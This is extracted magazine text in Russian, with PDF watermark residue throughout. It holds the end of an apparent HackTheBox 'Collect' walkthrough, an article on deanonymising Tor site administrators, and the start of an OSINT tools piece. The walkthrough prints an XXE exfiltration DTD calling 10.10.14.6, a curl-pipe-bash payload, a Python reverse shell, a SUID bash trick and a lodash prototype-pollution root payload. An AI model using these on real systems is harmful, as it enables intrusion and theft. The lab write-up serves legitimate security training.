Теперь переходим к содержимому файла DTD. Сначала сущность будет читать целевой файл и кодировать его в Base64. А затем загружать новую удаленную сущность, но в URL-параметре передавать закодированный файл, который мы хотим получить.

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/ resource=../../../../etc/hosts'>

<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://10.10.14.6/ ?file=%file;'>">

%eval;

%exfiltrate;

Выполнение запроса на сервер

Логи веб-сервера Python 3

Мы получили данные, а значит, уязвимость есть. Давай читать файлы сайта. Начинаем, конечно, с index.php (изменяем только первую строку файла

DTD).

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/

resource=index.php'>

Отправляем новый запрос, получаем файл на свой сервер и декодируем

Base64-строку.

Содержимое файла index.php

Этот файл ничего, кроме новых путей, не раскрывает. Давай получим подклю-

чаемый файл bootstrap.php.

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/

resource=../bootstrap.php'>

Содержимое файла bootstrap.php

И получаем секрет для подключения к службе Redis. К ней перейдем чуть позже, а пока продолжим выжимать максимум из XXE. Правда, больше исходные коды нам ничего не открыли, но помним про HTTP-аутентификацию на одном из доменов. Вспоминаем про домен developers. Получим учетные данные

из файла /var/www/developers/.htpasswd.

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/

resource=../../../../../../var/www/developers/.htpasswd'>

Содержимое файла .htpasswd

Чтобы перебрать этот хеш, нам нужно знать режим перебора. В этом поможет справка hashcat.

hashcat --example | grep '\$apr1\$' -A2 -B2

Описание хеша

Получаем режим 1600, который передаем в параметре -m.

hashcat -m 1600 hash.txt rockyou.txt

Результат перебора хеша

Получаем пароль и авторизуемся на developers.collect.htb, но нас встречает еще и авторизация на сайте.

Форма авторизации developers.collect.htb

Теперь перейдем к изучению Redis.

Auth Bypass

Порт открыт, поэтому подключаемся с найденным паролем и получаем все ключи.

redis-cli -h collect.htb -a COLLECTR3D1SPASS

keys *

Ключи в базе Redis

Получаем сессии, видимо, какого-то веб приложения. Для проверки переходим к сайту developers, получаем новую сессию в куки и снова проверяем ключи в Redis.

Burp History

Ключи Redis

Получим записи по ключам, чтобы разобрать формат хранящихся данных.

Получение данных Redis

Первая запись соответствует сайту collect, а только что созданная сессия, конечно же, ничего не хранит. По известной записи сформируем данные для администратора сайта developers и присвоим только что созданному ключу.

set PHPREDIS_SESSION:iht1inpstsraqqkbnc1grpi8fa "username|s:4:"ralf";

role|s:5:"admin";auth|s:4:"True";"

Обновляем страницу на сайте и получаем доступ от имени авторизованного пользователя.

Домашняя страница сайта Developers

Сразу обращаем внимание на то, что страница передается в качестве URLпараметра page. В таких случаях нужно сразу искать уязвимости типа LFI или RCE. Я попробовал несколько, но ничего не получилось. Скорее всего, используются фильтры и мы можем посмотреть на них, прочитав код сайта через XXE.

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/

resource=../../../../../../var/www/developers/index.php'>

Содержимое файла /var/www/developers/index.php

Используется функция include, но к указанной странице добавляется расширение .php.

PHP include RCE

Даже в таком случае мы можем выполнить произвольный код благодаря репозиторию php_ lter_chain_generator.

Создание нагрузки

Теперь отправляем ее на сайт и в ответе видим результат выполнения команды.

Эксплуатация RCE

Осталось вместо команды id выполнить команду, которая скачает и запустит с нашего веб-сервера следующий реверс-шелл.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.

AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.6",4321));os.dup2(s.

fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;

pty.spawn("sh")'

Чтобы поймать входящее соединение, используем pwncat-cs.

python3 php_filter_chain_generator.py --chain '<?= `curl http://10.

10.14.6/r | bash` ?>'

Сессия пользователя веб-сервера

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

o m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ЭКСПЛУАТИРУЕМ XXE

ИРАЗБИРАЕМСЯ

СУЯЗВИМОСТЬЮ

PROTOTYPE POLLUTION

ПРОДВИЖЕНИЕ

Теперь нам необходимо собрать информацию о системе и потенциальных способах повышения привилегий до рута. Я для этого использую скрипты

PEASS.

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис- тему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.

Давай посмотрим, что нашел скрипт.

В списке процессов отмечаем запущенные от имени разных пользователей процессы php-fpm, а также запущенный от имени рута pollution_api

nodejs.

Список процессов php-fpm

Процесс nodejs

Среди прослушиваемых портов есть порт службы MySQL 3306.

Список прослушиваемых портов

Так как работает служба базы данных MySQL, скорее всего, базы данных используются веб-приложением. Значит, мы можем найти в исходных кодах сайта учетные данные для подключения к СУБД и получить из базы все интересные данные. Код для подключения к СУБД находим в файле login.php.

Содержимое файла login.php

Подключаемся к базе данных и просматриваем существующие таблицы.

mysql -u webapp_user -p'Str0ngP4ssw0rdB*12@1' -D developers

show tables;

Таблицы в базе developers

Получаем данные из единственной таблицы users.

select * from users;

Логины и пароли пользователей

Полученные учетные данные никуда не подходят, поэтому перейдем к phpfpm. Используем известный эксплоит для выполнения кода PHP. В качестве выполняемого кода будем просто вызывать функцию system и передавать ей команду.

touch r.php

python3 fpm.py -c '<?php system("id"); ?>' 127.0.0.1 /tmp/r.php

Выполнение команды id

Команда выполнена от имени пользователя victor. Давай скопируем файл командной оболочки /bin/bash и назначим ему бит SUID.

python3 fpm.py -c '<?php system("cp /bin/bash /tmp/bash; chmod u+s /

tmp/bash"); ?>' 127.0.0.1 /tmp/r.php

Копирование файла командной оболочки

Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из-за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.

Теперь мы можем запустить новую сессию от имени пользователя victor.

/tmp/bash -p

Получение сессии пользователя victor

Генерируем SSH-ключ командой ssh-keygen и записываем публичный SSHключ в файл ~/.ssh/authorized_keys. Затем подключаемся с приватным ключом и забираем первый флаг.

Флаг пользователя

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

В домашнем каталоге пользователя находим исходные коды приложения pollution_api, которое, как мы видели ранее, уже запущено от имени пользователя root.

Содержимое каталога pollution_api

Исходников очень много, поэтому загрузим на хост архиватор 7za и упакуем их для более удобного скачивания.

./7za a -r pollution_api.7z pollution_api

Архивирование исходных кодов

Получаем архив с удаленного сервера и открываем в любой среде разработки. Все эндпоинты API можем найти в файле documentation.js. Мы уже регистрировались, поэтому в /auth/login можно будет получить токен дос-

тупа. Нас интересуют точки /admin/messages и /admin/messages/send.

Содержимое файла documentation.js

Переходим к файлу admin.js. Обозначенные точки ведут к модулям

Messages и Messages_send соответственно.

Содержимое файла admin.js

При этом из admin.js тоже видим механизм аутентификации, где перед проверкой роли список пользователей извлекается из базы данных запросом User.findAll. Подробности можем найти в файле User.js.

Содержимое файла User.js

В коде находим учетные данные для подключения к базе данных.

Содержимое файла db.js

Теперь мы можем подключиться к ней, поменять роль пользователя на администратора и получить доступ к конечным точкам /admin/messages и /admin/ messages/send. Подключимся к базе и просмотрим таблицы.

mysql -u webapp_user -p'Str0ngP4ssw0rdB*12@1' -D pollution_api

show tables;

Таблицы в базе pollution_api

В таблице users хранится информация о пользователях.

select * from users;

Пользователи в таблице users

Изменить роль пользователей можно одним запросом.

update users set role='admin';

Теперь переходим к командной оболочке и используем API для авторизации.

curl http://127.0.0.1:3000/auth/login -H "content-type: application/

json" -d '{"username":"ralf","password":"ralf"}' ;echo

Результат запроса

Мы авторизованы и получили токен доступа. Изучаем исходники дальше, чтобы понимать наши возможности.

В файле Messages_send.js происходит проверка параметра text (строка 8), а затем переданные пользователем данные передаются в функцию merge модуля lodash (строки 3 и 15).

Содержимое файла Messages_send.js

Эта функция уязвима перед prototype pollution.

Prototype pollution

В JavaScript классы реализуются с помощью так называемых прототипов. Прототип любого объекта доступен через свойство __proto__, то есть справедливо следующее:

"abc".__proto__ === String.prototype

Прототипы — это обычные объекты, а значит, их можно модифицировать. Добавление свойства к прототипу приведет к тому, что все существующие объекты этого типа тоже будут иметь новое свойство.

Можно проверить на примере пустого объекта obj_1. Добавим к его прототипу свойство x, потом создадим новый объект obj_2 такого же типа, и у него тоже будет свойство x.

Проверка свойства прототипа

В коде мы видим выполнение функции exec, что приводит к созданию нового процесса. Для таких случаев уже есть много готовых нагрузок, эксплуатирующих prototype pollution, которые очень легко найти в интернете.

Так, мы можем установить NODE_OPTIONS для активации дополнительных аргументов командной строки процесса. Не все аргументы получится установить, но один из допустимых — --require, который можно использовать для включения любого файла.

Обычный способ эксплуатации такой уязвимости — вставить новую переменную среды перед NODE_OPTIONS, которая содержит код JavaScript и имеет завершающий комментарий, чтобы избежать синтаксических ошибок. Однако Node.js теперь по-другому обрабатывает параметр NODE_OPTIONS и помещает его первым в списке аргументов, что не дает эксплуатировать уязвимость.

Однако и это можно обойти — за счет опций самой функции exec. Первый ее аргумент — argv0, он указывает первый элемент в списке аргументов нового процесса (обычно это исполняемый двоичный файл). Весь список аргументов отражен в файле /proc/self/cmdline, поэтому первый элемент будет расположен в самом начале. Таким образом, атакующий должен изме-

нить значение NODE_OPTIONS на --require /proc/self/cmdline и помес-

тить свою нагрузку в argv0.

Осталось решить последнюю проблему. Так как первый аргумент теперь изменен, процесс запустится, поскольку теперь это нагрузка Node.js, а не путь к файлу. Но в опции shell можно указать путь к файлу командной оболочки, который будет использован для запуска команды. Вместо /bin/sh можно задать исполняемый файл Node.js, который и выполнит нашу нагрузку в первом параметре. Раз мы и так работаем из Node.js, путь к исполняемому файлу можно взять из /proc/self/exe.

Собираем нагрузку и можем эксплуатировать prototype pollution.

{

"text":

{

"constructor":

{

"prototype":

{

"shell":"/proc/self/exe", "argv0":"console.log(require("child_process").

execSync("chmod +s /usr/bin/bash").toString())//", "NODE_OPTIONS":"--require /proc/self/cmdline"

}

}

}

}

Эта нагрузка установит S-бит файлу командной оболочки /bin/bash. Отправляем запрос с нагрузкой на сервер.

curl http://127.0.0.1:3000/admin/messages/send -H "x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. eyJ1c2VyIjoicmFsZiIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6M TY3NTMzODg4MCwiZXhwIjoxNjc1MzQyNDgwfQ. SLKZoNeaTGU0mr22ue2C3AB1htN5VAU7ZS0rZCpCEhs" -H "content-type: application/json" -d '{"text":{"constructor":{"prototype":{"shell":"/ proc/self/exe","argv0":"console.log(require("child_process"). execSync("chmod +s /usr/bin/bash").toString())//","NODE_OPTIONS": "--require /proc/self/cmdline"}}}}'

Сервер ответил {"Status":"Ok"}, проверим права на файл /bin/bash.

Права на файл /bin/bash

Атрибут SUID установлен, а это значит, что обычный пользователь, запускающий этот файл на исполнение, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. В данном случае это root.

Флаг рута

Машина захвачена, и мы получаем флаг.

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ПРИВАТНОСТЬ

 

wClick

to

 

 

 

o m

 

c

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

КАК ЛОВЯТ АДМИНИСТРАТОРОВ САЙТОВ В TOR

В этой статье я расскажу о том, как вычисляют администраторов ресурсов в Tor Network, то есть в дарквебе. Мы рассмотрим структуру сайтов в Tor, обсудим известные случаи деанона и многие другие особенности этого темного уголка интернета, который считается анонимным. По ходу дела я буду рекомендовать программы, которые помогут в работе.

moon

Интернет-расследователь и владелец osintkanal.ru moonlighted_email@proton.me

Думаю, ты уже в курсе, что сайты, адрес которых заканчивается на .onion, — не простые и без дополнительных усилий открыть их в обычном браузере не выйдет. Так называемый дарквеб состоит из таких вот сайтов. Очень часто они посвящены торговле незаконными товарами и услугами. Конечно, ведь администраторам этих сайтов не приходится заполнять свои контактные данные при регистрации, никакой цензуры нет, а «луковая» маршрутизация через череду прокси-серверов должна обеспечивать анонимность.

Сайты в Tor Network не индексируются обычными поисковиками, зато существуют специализированные поисковики, которые ищут только в Tor. В общем, как ты понял, это целый отдельный мир.

КАК РАБОТАЕТ TOR NETWORK

При обычной прямой IP-маршрутизации все относительно просто: один узел делает запрос по какому-то адресу, другой отвечает на тот же адрес, с которого поступил запрос. В луковой же маршрутизации любой запрос сначала проходит через три узла, называемых нодами Tor. По умолчанию входной и выходной узлы шифруют информацию так, чтобы она прошла через следующий узел.

Идеальная защита от слежки? Не совсем. Любой в теории может сделать свой компьютер узлом-посредником и собирать данные о запросах. Ты спросишь, кому это нужно, если информация зашифрована? А что, если атакующий будет собирать часть информации до шифрования, заразив входную ноду? Или наоборот — выходную, и получать данные о запрашиваемых ресурсах? Именно второй вариант наиболее распространенный.

К тому же злоумышленник может модифицировать или полностью изменить информацию, передаваемую от сервера клиенту. Так можно даже заразить устройство клиента вредоносным кодом.

В 2020 году была обнаружена хакерская группировка KAX17, которая управляла 900 зараженными серверами, к которым обращалось до 16% пользователей Tor.

Вот несколько инструментов, которые помогают исследовать ноды Tor:

TOR Node List — список нод;

ExoneraTor — проверка IP на использование в качестве нод Tor;

Onionite — информация о нодах;

Tor Metrics — информация о нодах;

Collector Tor — архив IP и портов узлов.

Как и в обычном интернете, сайты в Tor могут получать от клиента информацию о разрешении экрана, количестве ядер компьютера и других параметрах, которые в совокупности могут составлять уникальный отпечаток.

Именно поэтому эксперты советуют не включать JavaScript на сайтах в даркнете или как минимум не использовать браузер в полноэкранном режиме, чтобы не выдавать размер экрана. Цифровой отпечаток — это, конечно, не так страшно, как настоящие личные данные, но позволяет выделить уникального посетителя из определенного количества.

«ЛУКОВАЯ» DNS

Разведка через Whois и сервисы типа DNSdumpster в сети Tor просто невозможна, ведь луковичная система доменов работает совсем не так, как обычная. Вот ее основные отличия:

1.Существует только единая доменная зона .onion, домены состоят из сгенерированных идентификаторов, из-за чего в принципе отсутствует та самая иерархическая структура с TLD, SLD и поддоменами.

2.Децентрализованное хранение — это главная проблема собирающего

информацию, ведь из-за него невозможно послать запрос к Whois. В классической DNS информация о доменах и соответствующих им IP-адресах хранится на централизованных DNS-серверах. В Tor информация о доменах .onion и их адресах хранится на распределенных узлах в сети

Tor.

3.Отличаются и протоколы. Если в классической DNS используются запросы UDP и TCP-запросы, то система DNS в Tor напрямую обращается к распределенным узлам хранения, чтобы получить нужный адрес.

TorWhois — нечто вроде сервиса Whois для Tor. Позволяет получить информацию об открытых портах, сертификатах, ключах и информацию о robots.txt.

Есть исследование, которое показало, что DNS-трафик в сети Tor можно использовать для точного определения посещаемых сайтов. Исследователи разными методами анализировали DNS-запросы, проходящие через выходные узлы Tor, и выясняли корреляции этих запросов с конкретными сайтами.

Можно просто искать в запросах домены. Поскольку в адресах .onion домены состоят из сгенерированных идентификаторов, их легко сравнивать с идентификаторами в DNS-запросах и устанавливать соответствия. Это позволяет определить, какие конкретные сайты пользователь посещал через Tor.

В редких случаях администраторы не удаляют метаданные у файлов, размещенных на сайте, а метаданные могут включать такую информацию, как модель фотоаппарата, имя, геолокация и многое другое. Сейчас даже обычные соцсети удаляют метаданные при загрузке файлов.

СТРУКТУРА САЙТОВ

Сайты в Tor используют обыкновенные CMS, как и сайты в «клирнете». Конечно, внутри всё те же HTML, CSS и другие привычные технологии. То есть тут нет ничего удивительного и нового. На скриншоте ты можешь увидеть, что автор сайта сделал его на Bootstrap. А использование популярных технологий, конечно, открывает возможность для автоматизации аудита в целях разведки. Для этого есть:

Onionscan (аудит onion-сайта);

Onion Nmap (Nmap для onion-сайта);

OWASP ZAP (сканер);

Nikto (сканер);

WPScan (сканер);

Burp Suite (сканер);

Wapiti (сканер);

список уязвимостей на Mitre.org.

ТЕНЕВАЯ ЭКОНОМИКА

Чаще всего дарквеб используют для торговли запрещенными товарами

иуслугами. Вырученные деньги потом нужно как-то выводить, и здесь торговцы запрещенным изобретают самые изощренные схемы. Обычно — с использованием криптовалюты. Именно на этапе вывода денег чаще всего

ипопадаются владельцы маркетплейсов.

Представь: клиент покупает крипту, покупает на нее что-то в даркнете, криптовалюта хранится на депозите маркетплейса, затем большая часть переходит продавцу, а дальше он пытается ее обменять на фиатную валюту.

Получается, что можно установить, каким обменником пользуется продавец, если знать адрес его криптовалютного кошелька. Для этого достаточно визуализировать его активность с помощью специальной программы. На кошельке обменника, конечно же, будет огромное число транзакций и немалая сумма денег.

Визуализаторы зачастую платные, но есть и несколько бесплатных:

Breadcrumbs;

OXT.ME;

Blockpath.

Часто при отмыве денег применяются криптовалютные миксеры. Они позволяют скрывать криптовалютные активы, распределяя их по множеству других кошельков, и затем снова переводят в один. Это усложняет отслеживание транзакций, но не делает их полностью анонимными.

Если визуализировать транзакции кошелька, который использовал миксер, можно заметить следующие особенности:

множество входов и выходов в одной транзакции, включая адреса, не связанные с исходным кошельком;

перемешивание средств между разными адресами и кошельками;

связи с другими транзакциями — цепочки и кластеры транзакций, связанные с биткоин-миксером;

неоднородность сумм транзакций;

необычные временные интервалы между транзакциями.

Найти настоящий адрес покупателя тяжело, но вполне реально. Однако ПО для анализа транзакций миксеров в открытом доступе пока что нет. Поэтому приходится просто идти по цепочке транзакций, пока не найдешь что-то похожее на кошелек, принадлежащий человеку.

Как ты понял, отмыв денег и их отслеживание — это отдельная большая тема. Но знать о ней нужно, хотя бы на базовом уровне. Существует огромное количество схем легализации средств, полученных преступным путем, — от создания офшорных организаций до покупки разного имущества. Все это, мы, конечно, здесь разбирать не будем.

ПОИСКОВИКИ

Поисковики и дорки (рецепты запросов) всегда были главным оружием современного OSINT-специалиста, и в сети Tor всё точно так же. Давай посмотрим, какие поисковики ищут по дарквебу.

Вот поисковые системы, доступные в клирнете и индексирующие onionсайты:

Onion Search Engine;

Torry;

OnionLand Search;

Tor Search;

OnionSearch;

DuckDuckGo.

Многие из них удобны и позволяют комбинировать результаты из клирнета

идарквеба.

Авот список поисковых систем, у которых есть сайты в сети Tor (ссылки приведены на onion-адреса):

DuckDuckGo;

Not Evil;

Ahmia;

Haystak;

Torch;

Demon.

С этими системами можно пробовать базовые дорки вроде поиска точного совпадения (двойные кавычки), указания сайта, на котором искать (оператор site), оператора intext и прочих в том же духе. В большинстве поисковиков это сработает.

Подробнее о дорках читай в статьях «Используем малоизвестные функции Google, чтобы найти сок- рытое» и «Google как средство взлома. Разбираем актуальные рецепты Google Dork Queries».

Если наша цель — вычислить администратора форума, то в ход идут любые приемы разведки. Например, если известны его интересы, то можно пройтись по тематическим форумам в поисках упоминания его никнейма.

Вот пример запроса, который выдаст результат поиска по архиву форума «Хакера» в поисках пользователя moon:

site:oldforum.xakep.ru intext:moon

Кстати, о тематических форумах. Есть вики, которые коллекционируют ссылки на сайты в дарквебе, и оттуда легко почерпнуть подборку адресов криминальных форумов. Вот некоторые из них:

The Hidden Wiki;

IACA DarkWeb;

DarkWeb Links;

The DarkWeb Links.

Если ты знаешь, что человек увлекается, например, чтением, можешь проверить соответствующие разделы форумов.

Пользователи форумов и администраторы маркетплейсов тоже не роботы, такчто им свойственно допускать ошибки. К примеру, кто-то может отправить свою фотографию человеку, с которым познакомился в интернете. Я лично слышал о нескольких случаях, когда задерживали администраторов крупнейших нелегальных площадок, предлагая встретиться. Эксперты используют самые разные ловушки и ханипоты, чтобы подсунуть преступнику файл, ссылку, а иногда целое фейковое приложение или маркетплейс.

ЛОВУШКИ

Ловушки вроде IP Logger или Canary Tokens — это самое простое и малобюджетное, что бывает. В случае с Canary Tokens ты можешь развернуть свой сервер с помощью готового образа для Doсker, который любезно предоставили нам разработчики. У этого инструмента много интересных возможностей, и, на мой взгляд, его часто недооценивают.

Что до IP Logger, то не рекомендую использовать его при попытках выследить профессионалов. Эта программа скорее напоминает детскую игрушку, а не рабочий инструмент, и мало-мальски продвинутый пользователь сразу заподозрит недоброе.

ФИНГЕРПРИНТИНГ

Поскольку сайтам в Tor не запрещено использовать все стандартные технологии, здесь может работать и фингерпринтинг — отслеживание пользователей через уникальные отпечатки.

Для примера заглянем на сайт AmIUnique.org. Сервис без проблем определит версию движка, ОС, язык, шрифты, плагины и с некоторой точностью — поддерживаемые браузером аудио- и видеоплагины. Это сложно назвать точной идентификацией, но выделить одного подозреваемого из тысячи может помочь.

Tor Browser специально маскирует разрешение экрана, чтобы затруднить идентификацию, плюс пользователи могут сами подменить отпечаток на основе тега canvas. Все это делает фингерпринтинг менее точным, но не предотвращает его полностью.

Есть и более изощренные тактики, основанные на фингерпринтинге. Не все знают, что если открыть Tor Browser и обычный и потом переключаться между ними горячими клавишами или мышью, то можно выдать связь своего реального IP и IP в сети Tor. Подводят уникальные закономерности вроде положения курсора мыши, которое можно отследить. То же касается и использования двух вкладок в Tor Browser. Tor будет использовать для них разные входные узлы, но, если включен JavaScript, взаимосвязь между табами все же можно будет установить.

АНАЛИЗ ТЕКСТА

Не секрет, что у каждого свой стиль сообщений в социальных сетях, и администраторы форумов и маркетплейсов не исключение. Кто-то часто ставит пробелы перед запятыми, кто-то не фанат прописных букв, а у кого-то просто сломана клавиатура и какая-то кнопка часто не нажимается.

Все эти маленькие особенности помогут найти другие аккаунты на других форумах, в социальных сетях и так далее. Говорят, что именно такие ошибки допускал Росс Ульбрихт, владелец крупного маркетплейса Silk Road.

КРАУЛЕРЫ, СПАЙДЕРЫ, СКРЕПЕРЫ

Существуют разные типы инструментов для сбора данных в интернете.

Crawler (краулер) — это программа, которая автоматически обходит сайты и собирает информацию. Она работает подобно паукам, но способна собирать информацию разных типов.

Scraper (скрепер) — программа, которая извлекает данные с веб-сайтов, часто автоматически, и сохраняет их в структурированном формате для дальнейшего использования или анализа.

Spider (паук) — программа, которая автоматически переходит по ссылкам на сайтах, анализирует содержимое страниц и индексирует их для поиска или других целей.

Эти инструменты полезны при анализе сайтов в сети Tor. Они помогают собрать информацию о фотографиях, директориях и самую разную информацию о структуре сайтов. Интересны они тем, что дают максимум сведений о том, что происходит на сайте, без посещения самого сайта.

Начнем с краулеров, их можно использовать для сбора определенного типа данных на сайте, к примеру фото, видео, текста и так далее. Например, ты хочешь перебрать все фото на сайте и найти те, которые содержат метаданные.

Вот несколько краулеров для Onion:

TorBot;

OnionBot;

OnionScan;

VigilantOnion;

OnionIngestor.

Скреперы работают по заданному алгоритму, который определяет, какие данные нужно собирать и как их извлекать. Обычно они делают запросы к серверу, а затем анализируют полученный HTML, чтобы извлечь нужную информацию. В ход идут разные методы разбора страниц — парсинг HTML, поиск по тегам и классам CSS, регулярные выражения и так далее. Часто сайты выгружаются целиком для дальнейшего анализа.

Вот некоторые программы и библиотеки для скрепинга:

Scrapy;

BeautifulSoup;

Selenium;

Puppeteer;

Frontera.

Пауки же предназначены для индексации сотен и тысяч ссылок. Для Tor

существуют Onio и Onion Spider.

ФОРЕНЗИКА

Под конец немного затронем тему форензики, а не OSINT. При судебно-тех- нической экспертизе компьютера, на котором использовался Tor, в первую очередь стоит проверять:

1.Папку C:\Windows\Prefetch, где могут находиться файлы, связанные с запуском Tor Browser (исполняемый файл браузера или файлы DLL, загружаемые при его работе). Анализ их временных меток позволяет установить, когда запускался браузер.

2.Кеш миниатюр. В нем могут сохраняться превью изображений, просмотренных через Tor. Их можно сопоставить с определенными сайтами.

3.Файл подкачки. Здесь тоже может быть инфа о запуске браузера, посещении сайтов и файловых операциях, связанных с использованием Tor.

4.Реестр Windows. Помогает извлечь настройки браузеров, историю посещений, кешированные данные, а также записи о загруженных расширениях и плагинах.

Анализ дампов — также неотъемлемая часть судебно-технической экспертизы. В них содержится масса информации о том, что происходило на компьютере. Захватить дамп оперативной памяти можно, к примеру, при помощи

Belkasoft RAM Capturer.

Для анализа реестра может пригодиться программа Regshot.

Для анализа сетевого трафика рекомендую Wireshark и NetworkMiner. Wireshark хорош для выявления разных типов пакетов и фактов установки связей между узлами. Он помогает идентифицировать характеристики протоколов, используемых в Tor. А NetworkMiner специализируется на анализе сетевого трафика и выявлении скрытых связей и закономерностей. NetworkMiner может помочь в обнаружении и анализе активности в сети Tor, включая обмен информацией и использование анонимных прокси-серверов.

И конечно, нужно изучить базу данных самого Tor Browser. Она находится по такому пути:

TorBrowser\Browser\TorBrowser\Data\Browser\Profile.default

Здесь при определенных настройках браузера может храниться история просмотра, закладки, сохраненные пароли, cookie и другие пользовательские данные.

Изучение данных кошельков Bitcoin — тема отдельная и сложная, но для сбора доказательств можно использовать Internet Evidence Finder.

ВЫВОДЫ

При видимой анонимности сайтов в Tor всегда есть способы идентифицировать их владельцев. Да, некоторые из них сложны и требуют серьезной работы, но, поскольку администраторы тоже совершают ошибки, нет-нет да срабатывают. Рекомендую всем, кто занимается подобными расследованиями, не забывать применять не только описанные тактики, но и те методы, которые срабатывают и в клирнете.

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ТРЮКИ

 

wClick

to

 

 

 

 

o m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

 

-x

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

СОБИРАЕМ ИНСТРУМЕНТАРИЙ СЕТЕВОГО РАЗВЕДЧИКА

OSINT, то есть разведка по открытым источникам, бывает чрезвычайно полезна, особенно при расследовании инцидентов. Теорию — что и где искать — знают почти все, но на практике массивы данных оказываются настолько большими, что перебрать их руками просто невозможно, и расследование останавливается. В этой статье я покажу несколько крутых инструментов, которые облегчат работу и помогут не запутаться в огромном количестве данных.

Luc1fer_Lan1us viktorkoen8@gmail.com

Статья опубликована исключительно в образовательных целях, а автор и редакция не несут ответственности за любой возможный вред, причиненный использованием материалов этой публикации. Сбор информации о частной жизни граждан без их согласия незаконен. OSINT — это поиск в открытых источниках тех данных, которые люди сами оставляют в публичном доступе. Но даже в этом случае нарушение чужой приватности может быть незаконным.

В этой статье я покажу пять инструментов для анализа открытых данных в соц-

сетях и Telegram.

1. YASEEKER

